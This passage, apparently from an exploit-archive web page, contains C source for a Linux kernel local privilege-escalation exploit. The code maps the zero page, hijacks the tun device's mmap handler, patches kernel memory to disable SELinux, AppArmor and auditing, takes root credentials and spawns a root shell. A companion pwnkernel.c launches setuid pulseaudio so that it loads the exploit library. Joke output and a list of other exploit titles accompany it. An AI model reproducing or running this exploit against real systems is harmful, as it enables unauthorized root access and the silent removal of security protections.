  if (sizeof(unsigned int) != sizeof(unsigned long)) {
   /* 64bit version, look for the mov ecx, [rip+off]
      and replace with mov ecx, 1
   */
   for (p = (unsigned char *)sel_read_enforce; (unsigned long)p < (sel_read_enforce + 0x30); p++) {
    if (p[0] == 0x8b && p[1] == 0x0d) {
     p[0] = '\xb9';
     p[5] = '\x90';
     *(unsigned int *)&p[1] = 1;
     goto and_now;
    }
   }
  } else {
   /* 32bit, replace push [selinux_enforcing] with push 1 */
   for (p = (unsigned char *)sel_read_enforce; (unsigned long)p < (sel_read_enforce + 0x20); p++) {
    if (p[0] == 0xff && p[1] == 0x35) {
#ifdef RHEL5_SUCKS
     // while we're at it, disable
     // SELinux without having a
     // symbol for selinux_enforcing ;)
     sel_enforce_ptr = *(unsigned int **)&p[2];
     *sel_enforce_ptr = 0;
     what_we_do = 2;
#endif
     p[0] = '\x68';
     p[5] = '\x90';
     *(unsigned int *)&p[1] = 1;
     goto and_now;
    }
   }
  }
  }
and_now:
  /*
  if (sel_read_bool && security_get_bool_value) {
  for (p = (unsigned char *)sel_read_bool; (unsigned long)p < (sel_read_bool + 0x300); p++) {
   if (p[0] == 0xe8 && (((unsigned long)&p[5] + *(int *)&p[1]) == security_get_bool_value)) {
    *p = '\xa1';
    *(unsigned int *)(p + 1) = 1;
    goto next_part;
   }
  }
  }
next_part:
  */
  _cr0 |= 0x10000;
  asm volatile (
  "mov %0, %%cr0"
  :
  : "r" (_cr0)
  );
 }
 /*
 if (nf_unregister_hooks) {
  if (selinux_ipv4_ops && *selinux_ipv4_ops) {
   nf_unregister_hooks(selinux_ipv4_ops, 3);
   *selinux_ipv4_ops = 0;
  }
  if (selinux_ipv6_ops && *selinux_ipv6_ops) {
   nf_unregister_hooks(selinux_ipv6_ops, 2);
   *selinux_ipv6_ops = 0;
  }
 }
 */
 
 //if (unregister_filesystem && sel_fs_type)
 // unregister_filesystem(sel_fs_type);

 /* and now give ourselves full privileges */
 if (commit_creds && init_cred) {
  /* hackish usage increment */
  *(volatile int *)(init_cred) += 1;
  commit_creds(init_cred);
  got_root = 1;
 }
#ifdef RHEL5_SUCKS
  else {
  // must be RHEL5 2.6.18
  old_style_gimme_root();
 }
#endif

 return -1;
}

static void boom_goes_the_dynamite(void)
{
 char *mem;
 int fd;

 fprintf(stdout, " [+] b00m!\n");

 fd = open("/dev/net/tun", O_RDONLY);

 mem = mmap(NULL, 0x1000, PROT_READ, MAP_PRIVATE, fd, 0);

 close(fd);

 return;
}

int pa__init(void *m)
{
 char *mem;
 int fd;
 int ret;

 our_uid = getuid();

 /* open it so we can have it auto-loaded and resolve its symbols
    below
 */
 fd = open("/dev/net/tun", O_RDONLY);
 if (fd == -1) {
  fprintf(stdout, "UNABLE TO OPEN THE DEVICE!\n");
  return 1;
 }
 close(fd);

 if ((personality(0xffffffff)) != PER_SVR4) {
  mem = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, 0, 0);
  if (mem != NULL) {
   fprintf(stdout, "UNABLE TO MAP ZERO PAGE!\n");
   return 1;
  }
 } else {
  ret = mprotect(NULL, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC);
  if (ret == -1) {
   fprintf(stdout, "UNABLE TO MPROTECT ZERO PAGE!\n");
   return 1;
  }
 }

 fprintf(stdout, " [+] MAPPED ZERO PAGE!\n");

 /* make an mmap handler for the tun device at 0x1
    mmap fop offset is sizeof(ptr) * 11
 */
 
 tun_mmap_fop = (unsigned long *)(get_kernel_sym("tun_fops") + (sizeof(unsigned long) * 11));

 selinux_enforcing = (int *)get_kernel_sym("selinux_enforcing");
 //selinux_enabled = (int *)get_kernel_sym("selinux_enabled");
 //selinux_mls_enabled = (int *)get_kernel_sym("selinux_mls_enabled");
 //ss_initialized = (int *)get_kernel_sym("ss_initialized");

 apparmor_enabled = (int *)get_kernel_sym("apparmor_enabled");
 apparmor_complain = (int *)get_kernel_sym("apparmor_complain");
 apparmor_audit = (int *)get_kernel_sym("apparmor_audit");
 apparmor_logsyscall = (int *)get_kernel_sym("apparmor_logsyscall");

 nf_unregister_hooks = (_nf_unregister_hooks)get_kernel_sym("nf_unregister_hooks");
 //selinux_ipv4_ops = (unsigned long *)get_kernel_sym("selinux_ipv4_ops");
 //selinux_ipv6_ops = (unsigned long *)get_kernel_sym("selinux_ipv6_ops");

 security_ops = (unsigned long *)get_kernel_sym("security_ops");
 default_security_ops = get_kernel_sym("default_security_ops");

 //sel_read_bool = get_kernel_sym("sel_read_bool");
 sel_read_enforce = get_kernel_sym("sel_read_enforce");
 //security_get_bool_value = get_kernel_sym("security_get_bool_value");

 //mmap_min_addr = (unsigned long *)get_kernel_sym("mmap_min_addr");

 audit_enabled = (int *)get_kernel_sym("audit_enabled");

 commit_creds = (_commit_creds)get_kernel_sym("commit_creds");
 init_cred = get_kernel_sym("init_cred");

 //sel_fs_type = get_kernel_sym("sel_fs_type");
 //unregister_filesystem = (_unregister_filesystem)get_kernel_sym("unregister_filesystem");

 /* we don't really need to use the NULL mapping for the kernel to redirect to
    since I could have OR'd another byte in the address and turned it into
    a regular allocation area.  Furthermore, this code can be placed
           into a file and mmap'd RX to bypass any runtime W^X checks
 */
 or_one_to_kernel_address((unsigned long)tun_mmap_fop);

 /* two cases, fancy trickery */
 if (sizeof(unsigned int) != sizeof(unsigned long)) {
  // 64bit
  *(char *)1 = '\xff';
  *(char *)2 = '\x25';
  *(unsigned int *)3 = 0; // pc-relative and such yes ;)
  *(unsigned long *)(3 + 4) = (unsigned long)&own_the_kernel;
 } else {
  // 32bit
  *(char *)1 = '\xe9';
  *(unsigned long *)2 = (unsigned long)&own_the_kernel - 6;
 }

 boom_goes_the_dynamite();

 {
  char *msg;
  switch (what_we_do) {
   case 1:
    msg = "AppArmor";
    break;
   case 2:
    msg = "SELinux";
    break;
   case 3:
    msg = "LSM";
    break;
   default:
    msg = "nothing, what an insecure machine!";
  }
  fprintf(stdout, " [+] Disabled security of : %s\n", msg);
 }
 if (got_root == 1)
  fprintf(stdout, " [+] Got root!\n");
 else {
  fprintf(stdout, " [+] Failed to get root :( Something's wrong.  Maybe the kernel isn't vulnerable?\n");
  exit(0);
 }
 fprintf(stdout, " [+] BAM! About to launch your rootshell!...but first some chit-chat...\n");
 sleep(3);
 fprintf(stdout, "           ,        ,\n");
 fprintf(stdout, "          /(_,    ,_)\\\n");
 fprintf(stdout, "          \\ _/    \\_ /\n");
 fprintf(stdout, "          //        \\\\\n");
 fprintf(stdout, "          \\\\ (@)(@) //\n");
 fprintf(stdout, "           \\'=\"==\"='/\n");
 fprintf(stdout, "       ,===/        \\===,\n");
 fprintf(stdout, "      \",===\\        /===,\"\n");
 fprintf(stdout, "      \" ,==='------'===, \"\n");
 fprintf(stdout, "       \"                \"\n");
 fprintf(stdout, "Do you know the deadliest catch?\n");
 {
  char buf[20];
  fgets(buf, sizeof(buf)-1, stdin);
 }
 sleep(1);
 fprintf(stdout, "That's right! MAN is the deadliest catch of all!\n");
 sleep(2);
 {
  char wait[] = "WAIIIIIIIIIITTTT....";
  int i;
  for (i = 0; i < sizeof(wait); i++) {
   fprintf(stdout, "%c", wait[i]);
   fflush(stdout);
   usleep(200 * 1000);
  }
 }
 fprintf(stdout, "do you hear it?\n");
 sleep(2);
 fprintf(stdout, "You hear it! You do too! It's not just me!  It's here, it's here I say!!\n");
 sleep(3);
 fprintf(stdout, "I must face this....\n");
 fprintf(stdout, "\x7");
 fflush(stdout);
 sleep(1);
 fprintf(stdout, "\x7");
 fflush(stdout);
 sleep(1);
 fprintf(stdout, "\x7");
 fflush(stdout);
 sleep(1);

 fprintf(stdout, "What's this? Something stirs within the beast's belly! Something unexpected");
 fflush(stdout);
 usleep(500 * 1000);
 fprintf(stdout, ".");
 fflush(stdout);
 usleep(500 * 1000);
 fprintf(stdout, ".");
 fflush(stdout);
 usleep(500 * 1000);
 fprintf(stdout, ".");
 fflush(stdout);
 usleep(500 * 1000);
 fprintf(stdout, ".");
 fflush(stdout);
 usleep(500 * 1000);
 fprintf(stdout, "\n");
 sleep(3);

 execl("/bin/sh", "/bin/sh", "-i", NULL);

 return 0;
}

void pa__done(void *m)
{
 return;
}

int main(void)
{
  pa__init(NULL);
}

/* A clock struck noon; Lucien rose.  The metamorphosis was complete:
   a graceful, uncertain adolescent had entered this cafe one hour
   earlier; now a man left, a leader among Frenchmen.  Lucien took a few
   steps in the glorious light of a French morning.  At the corner of
   Rue des Ecoles and the Boulevard Saint-Michel he went towards a
   stationery shop and looked at himself in the mirror: he would have
   liked to find on his own face the impenetrable look he admired on
   Lemordant's.  But the mirror only reflected a pretty, headstrong
   little face that was not yet terrible.  "I'll grow a moustache,"
   he decided. */      

/* d21d0f5d64a84e1bdd2a440fcef3265996f3a1fe */

---------------------------------------------pwnkernel.c--------------------------------------------
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/personality.h>
#include <sys/stat.h>

#define PULSEAUDIO_PATH "/usr/bin/pulseaudio"
#define PATH_TO_EXPLOIT "/home/spender/exploit.so"

int main(void)
{
 int ret;
 struct stat fstat;

 ret = personality(PER_SVR4);

 if (ret == -1) {
  fprintf(stderr, "Unable to set personality!\n");
  return 0;
 }

 fprintf(stdout, " [+] Personality set to: PER_SVR4\n");

 if (stat(PULSEAUDIO_PATH, &fstat)) {
  fprintf(stderr, "Pulseaudio does not exist!\n");
  return 0;
 }

 if (!(fstat.st_mode & S_ISUID) || fstat.st_uid != 0) {
  fprintf(stderr, "Pulseaudio is not suid root!\n");
  return 0;
 }
 
 execl(PULSEAUDIO_PATH, PULSEAUDIO_PATH, "--log-level=0", "-L", PATH_TO_EXPLOIT, NULL);

 return 0;
}


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·WebVision 2.1 (news.php n) Rem
·PulseAudio suffers from a loca
·Soritong MP3 Player 1.0 (SKIN)
·XSS JavaScript Obfuscator 0.01
·htmldoc 1.8.27.1 (.html) Unive
·Streaming Audio Player 0.9 (sk
·Adobe related service (getPlus
·win32/xp sp2 (En) cmd.exe 23 b
·EpicVJ 1.2.8.0 (.mpl/.m3u) Loc
·Easy RM to MP3 Converter .m3u
·EpicDJ 1.3.9.1 (.mpl/.m3u) Loc
·Mozilla Firefox 3.5 (Font tags
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved